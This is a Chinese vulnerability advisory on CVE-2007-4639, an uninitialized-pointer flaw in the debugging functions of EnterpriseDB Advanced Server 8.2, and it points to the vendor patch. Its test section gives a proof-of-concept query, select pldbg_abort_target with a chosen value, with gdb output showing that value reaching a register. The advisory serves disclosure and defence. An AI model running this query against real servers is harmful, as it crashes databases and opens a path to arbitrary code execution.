安全研究

安全漏洞
EnterpriseDB Advanced Server未初始化指针漏洞

发布日期:2007-08-29
更新日期:2007-09-04

受影响系统:
EnterpriseDB Advanced Server 8.2
描述:
BUGTRAQ  ID: 25481
CVE(CAN) ID: CVE-2007-4639

EnterpriseDB Advanced Server是一款企业级的关系数据库管理系统(RDBMS),与Oracle应用兼容。

EnterpriseDB的所有调试函数(如pldbg_get_stack)中都存在一个安全漏洞,远程攻击者可能利用此漏洞控制服务器。

pldbg_create_listener函数负责启动调试进程,必须是客户端发送任何调试命令之前所调用的第一个函数。当用户在调用主pldbg_create_listener函数之前调用任何调试相关函数时,使用了未初始化的指针,这允许用户通过执行某些查询(如select pldbg_abort_target())导致有漏洞的服务器崩溃,并执行任意指令。

<*来源:Joxean Koret (joxeankoret@yahoo.es
  
  链接:http://lists.grok.org.uk/pipermail/full-disclosure/2007-August/065501.html
        http://secunia.com/advisories/26640/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1) 以低用户权限连接到有漏洞的EnterpriseDB
2) 执行以下查询:

edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal

(gdb) where
#0  0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1  0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2  0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3  0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4  0x0816669d in ExecMakeFunctionResult ()
#5  0x08168d51 in ExecProject ()
#6  0x0817544d in ExecResult ()
#7  0x08162f65 in ExecProcNode ()
#8  0x08161931 in ExecutorRun ()
#9  0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>:        mov    (%eax),%eax
(gdb) i r
eax            0x41424344       1094861636
ecx            0x4      4
edx            0xbff46c04       -1074500604
ebx            0xbacbd8 12241880
esp            0xbff46bc0       0xbff46bc0
ebp            0xbff46be8       0xbff46be8
esi            0x4      4
edi            0xbab597 12236183
eip            0xba81db 0xba81db
eflags         0x10286  66182
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0

建议:
厂商补丁:

EnterpriseDB
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.enterprisedb.com/

浏览次数:2624
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障